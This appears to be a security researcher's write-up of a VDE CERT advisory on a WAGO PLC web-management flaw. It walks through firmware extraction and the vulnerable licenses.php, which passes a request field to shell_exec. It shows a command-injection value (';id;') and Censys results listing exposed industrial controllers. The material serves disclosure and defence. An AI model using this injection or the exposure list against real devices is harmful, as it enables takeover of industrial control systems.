VDE CERT

WAGO: Unauthenticated command execution via Web-based-management

Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

Impact

Exploiting the vulnerability provides arbitrary command execution with privileges of the 'www' user. Via this flaw an attacker can change device configuration, create users or even take over the system.

Affected Product(s)

Model no.	Product name	Affected versions
751-9301	Compact Controller 100	Firmware FW22, Firmware FW23
752-8303/8000-002	Edge Controller	Firmware FW20 <= FW22
750-81xx/xxx-xxx	PFC100	Firmware FW22
750-821x/xxx-xxx, 750-82xx/xxx-xxx	PFC200	Firmware FW20 <= FW22, Firmware FW23
762-5xxx	Touch Panel 600 Advanced Line	Firmware FW23
762-6xxx	Touch Panel 600 Marine Line	Firmware FW20 <= FW22
762-4xxx	Touch Panel 600 Standard Line	Firmware FW22

```
┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$
```

```
┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ wget -q https://github.com/WAGO/pfc-firmware/releases/download/v03.09.05-21/WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$
```

```
┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ wget -q https://github.com/WAGO/pfc-firmware/releases/download/v03.09.05-21/WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ file WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup: Zip archive data, at least v2.0 to extract, compression method=deflate

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$
```

```
┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ wget -q https://github.com/WAGO/pfc-firmware/releases/download/v03.09.05-21/WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ file WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup: Zip archive data, at least v2.0 to extract, compression method=deflate

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ 7z x WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup -ov21 && cd v21

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 85484979 bytes (82 MiB)

Extracting archive: WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
--
Path = WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
Type = zip
Physical Size = 85484979

Everything is Ok

Files: 2
Size:       85481072
Compressed: 85484979

┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$
```

```
┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ wget -q https://github.com/WAGO/pfc-firmware/releases/download/v03.09.05-21/WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ file WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup: Zip archive data, at least v2.0 to extract, compression method=deflate

┌──(rija㉿kali)-[~/data/firmware/wago/pfc]
└─$ 7z x WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup -ov21 && cd v21

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 85484979 bytes (82 MiB)

Extracting archive: WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
--
Path = WAGO_FW0750-8x1x_V030905_IX21_SP1_r66041.wup
Type = zip
Physical Size = 85484979

Everything is Ok

Files: 2
Size:       85481072
Compressed: 85484979

┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$ file *
PFC-G2-Linux_update_V030905_21_r66041.raucb: Squashfs filesystem, little endian, version 4.0, zlib compressed, 85474473 bytes, 20 inodes, blo
cksize: 131072 bytes, created: Sat Aug  1 00:00:00 2020
package-info.xml:                           XML 1.0 document, ASCII text

┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$
```

```
┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$ unsquashfs PFC-G2-Linux_update_V030905_21_r66041.raucb && cd squashfs-root
Parallel unsquashfs: Using 4 processors
18 inodes (669 blocks) to write

[=============================================================================================================/] 687/687 100%

created 18 files
created 2 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

┌──(rija㉿kali)-[~/…/wago/pfc/v21/squashfs-root]
└─$
```

```
┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$ unsquashfs PFC-G2-Linux_update_V030905_21_r66041.raucb && cd squashfs-root
Parallel unsquashfs: Using 4 processors
18 inodes (669 blocks) to write

[=============================================================================================================/] 687/687 100%

created 18 files
created 2 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

┌──(rija㉿kali)-[~/…/wago/pfc/v21/squashfs-root]
└─$ ls
barebox-compatible-versions  barebox.bin.pfc200v2  hooks.sh        mlo.pfc200    root.tar.gz
barebox.bin.pfc100           barebox.bin.pfc200v3  manifest.raucm  mlo.pfc200v2  settings_backup_lib_fix_tp_fw15
barebox.bin.pfc200           hooks                 mlo.pfc100      mlo.pfc200v3

┌──(rija㉿kali)-[~/…/wago/pfc/v21/squashfs-root]
└─$
```

```
┌──(rija㉿kali)-[~/…/firmware/wago/pfc/v21]
└─$ unsquashfs PFC-G2-Linux_update_V030905_21_r66041.raucb && cd squashfs-root
Parallel unsquashfs: Using 4 processors
18 inodes (669 blocks) to write

[=============================================================================================================/] 687/687 100%

created 18 files
created 2 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

┌──(rija㉿kali)-[~/…/wago/pfc/v21/squashfs-root]
└─$ ls
barebox-compatible-versions  barebox.bin.pfc200v2  hooks.sh        mlo.pfc200    root.tar.gz
barebox.bin.pfc100           barebox.bin.pfc200v3  manifest.raucm  mlo.pfc200v2  settings_backup_lib_fix_tp_fw15
barebox.bin.pfc200           hooks                 mlo.pfc100      mlo.pfc200v3

┌──(rija㉿kali)-[~/…/wago/pfc/v21/squashfs-root]
└─$ mkdir root; tar -xzf root.tar.gz -C root; cd root
tar: ./dev/console: Cannot mknod: Operation not permitted
tar: ./dev/null: Cannot mknod: Operation not permitted
tar: ./dev/zero: Cannot mknod: Operation not permitted
tar: Exiting with failure status due to previous errors

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```


Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www
openapi  wbm  webvisu  ws

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```


Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www
openapi  wbm  webvisu  ws

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www/wbm/
LICENSES   fonts   index.d.ts  initialize.d.ts  manifest.json  pfc.js  plugins  service
base.d.ts  images  index.html  licenses         parameter      php     reboot   utils

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```


Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www
openapi  wbm  webvisu  ws

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www/wbm/
LICENSES   fonts   index.d.ts  initialize.d.ts  manifest.json  pfc.js  plugins  service
base.d.ts  images  index.html  licenses         parameter      php     reboot   utils

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www/wbm/plugins/
wbm-aide                wbm-diagnostic         wbm-massstorage  wbm-openvpn-ipsec          wbm-runtime-services  wbm-statusled
wbm-bacnet              wbm-docker             wbm-modbus       wbm-package-server         wbm-security          wbm-statusplcswitch
wbm-certificate-uploads wbm-firewall           wbm-modem        wbm-ports                  wbm-serial-interface  wbm-user
wbm-clock               wbm-information        wbm-modem-ng     wbm-profibus               wbm-service-interface wbm-wda
wbm-cloud-connectivity  wbm-ipk-uploads        wbm-networking   wbm-runtime-configuration  wbm-snmp
wbm-create-image        wbm-legal-information  wbm-opcua        wbm-runtime-information    wbm-statusdate

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```

Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www
openapi  wbm  webvisu  ws

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www/wbm/
LICENSES   fonts   index.d.ts  initialize.d.ts  manifest.json  pfc.js  plugins  service
base.d.ts  images  index.html  licenses         parameter      php     reboot   utils

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ ls var/www/wbm/plugins/
wbm-aide                wbm-diagnostic        wbm-massstorage  wbm-openvpn-ipsec          wbm-runtime-services  wbm-statusled
wbm-bacnet              wbm-docker            wbm-modbus       wbm-package-server         wbm-security          wbm-statusplcswitch
wbm-certificate-uploads wbm-firewall          wbm-modem        wbm-ports                  wbm-serial-interface  wbm-user
wbm-clock               wbm-information       wbm-modem-ng     wbm-profibus               wbm-service-interface wbm-wda
wbm-cloud-connectivity  wbm-ipk-uploads       wbm-networking   wbm-runtime-configuration  wbm-snmp
wbm-create-image        wbm-legal-information wbm-opcua        wbm-runtime-information    wbm-statusdate

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ tree var/www/wbm/plugins/wbm-legal-information/
var/www/wbm/plugins/wbm-legal-information/
|-- legal-information.js
|-- manifest.json
`-- platform
    `-- pfcXXX
        |-- licenses.inc.php
        |-- licenses.php
        `-- licensesTest.php

3 directories, 5 files

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```


Summary

The 'legal information' plugin of web-based-management contained a vulnerability which allowed execution of arbitrary commands with privileges of www user.

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ cat var/www/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php
<?php

include_once './licenses.inc.php';

$loader = new LicensesLoader('/var/www/wbm/licenses');

$requestBody = json_decode(file_get_contents('php://input'), true);
$packageId = $requestBody['package'];

$extension = end(explode(".", $packageId));


if (isset($packageId)) {

    $package = $loader->getOSSPackageForPackageId($packageId);
    $license = $loader->getOSSPackageLicense($package);

    if ($license == false) {
        $license = shell_exec("xz -cd /var/www/wbm/licenses/oss/{$packageId}.txt.xz");
    }

    $response = json_encode((object) [
        'package' => $package,
        'license' => $license
    ]);
    echo $response;
}
else {

    $wago = $loader->getWagoLicenseAgreement();
    $oss = $loader->getOSSDisclaimer();
    $list = $loader->getOSSPackageList();

    $response = json_encode((object) [
        'wagoSoftwareLicenseAgreement' => $wago,
        'ossDisclaimer' => $oss,
        'ossPackages' => $list
    ]);
    echo $response;
}

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```

```
┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$ cat var/www/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php
<?php

include_once './licenses.inc.php';

$loader = new LicensesLoader('/var/www/wbm/licenses');

$requestBody = json_decode(file_get_contents('php://input'), true);
$packageId = $requestBody['package'];

$extension = end(explode(".", $packageId));


if (isset($packageId)) {

    $package = $loader->getOSSPackageForPackageId($packageId);
    $license = $loader->getOSSPackageLicense($package);

    if ($license == false) {
        $license = shell_exec("xz -cd /var/www/wbm/licenses/oss/{$packageId}.txt.xz");
    }

    $response = json_encode((object) [
        'package' => $package,
        'license' => $license
    ]);
    echo $response;
}
else {

    $wago = $loader->getWagoLicenseAgreement();
    $oss = $loader->getOSSDisclaimer();
    $list = $loader->getOSSPackageList();

    $response = json_encode((object) [
        'wagoSoftwareLicenseAgreement' => $wago,
        'ossDisclaimer' => $oss,
        'ossPackages' => $list
    ]);
    echo $response;
}

┌──(rija㉿kali)-[~/…/pfc/v21/squashfs-root/root]
└─$
```

```
$packageId = $requestBody[‘package’]
shell_exec(“xz -cd /var/www/wbm/licenses/oss/${packageId}.txt.xz”)
```

.../licenses.php?package=**test**

xz -cd /var/www/wbm/licenses/oss/**test**.txt.xz

.../licenses.php?package=**;id;**

xz -cd /var/www/wbm/licenses/oss/**;id;**.txt.xz

censys

Hosts | services.http.request.uri:"/wbm/" | Search

Host Filters

Location:

1,675 Turkey
1,160 Germany
466 Greece
213 Spain
173 Italy
162 France
149 Japan
144 Poland
136 United States
113 Austria
107 Bulgaria
91 Switzerland
75 Netherlands
62 China
57 Czech Republic
49 India
45 Brazil
39 Belgium
35 Sweden
34 Hungary

Hosts

Results: **5,290** Time: 0.11s

31.129.x.x

Wago Pfc 200 Firmware | JT (8681) | St Helier, Jersey

ics

80/HTTP | 443/HTTP

5.26.x.x

TURKCELL-AS Turkcell A.S. (16135) | Istanbul, Turkey

angularjs | network.device.vpn | ics

80/HTTP | 81/HTTP | 500/IKE | 2404/IEC60870_5_104 | 8088/HTTP

37.98.x.x (apn-37-98-x-x.static.gprs.plus.pl)

Wago Pfc 200 Firmware | PLUSNET Plus network operator in Poland (8374) | Mazovia, Poland

file-sharing | ics | openlayers

21/FTP | 80/HTTP | 90/HTTP | 443/HTTP | 502/MODBUS
1973/HTTP | 2454/CODESYS | 2455/CODESYS | 6626/DNP3 | 10763/UNKNOWN

82.65.x.x (82-65-x-x.subs.proxad.net)

Linux | PROXAD (12322) | Île-de-France, France

remote-access | ics

22/SSH | 80/HTTP | 443/HTTP | 502/MODBUS | 2455/CODESYS
4840/OPC_UA | 6626/DNP3 | 8080/HTTP

78.132.x.x

Wago Pfc 200 Firmware | TMA Magenta Telekom (8412) | Lower Austria, Austria

ics

443/HTTP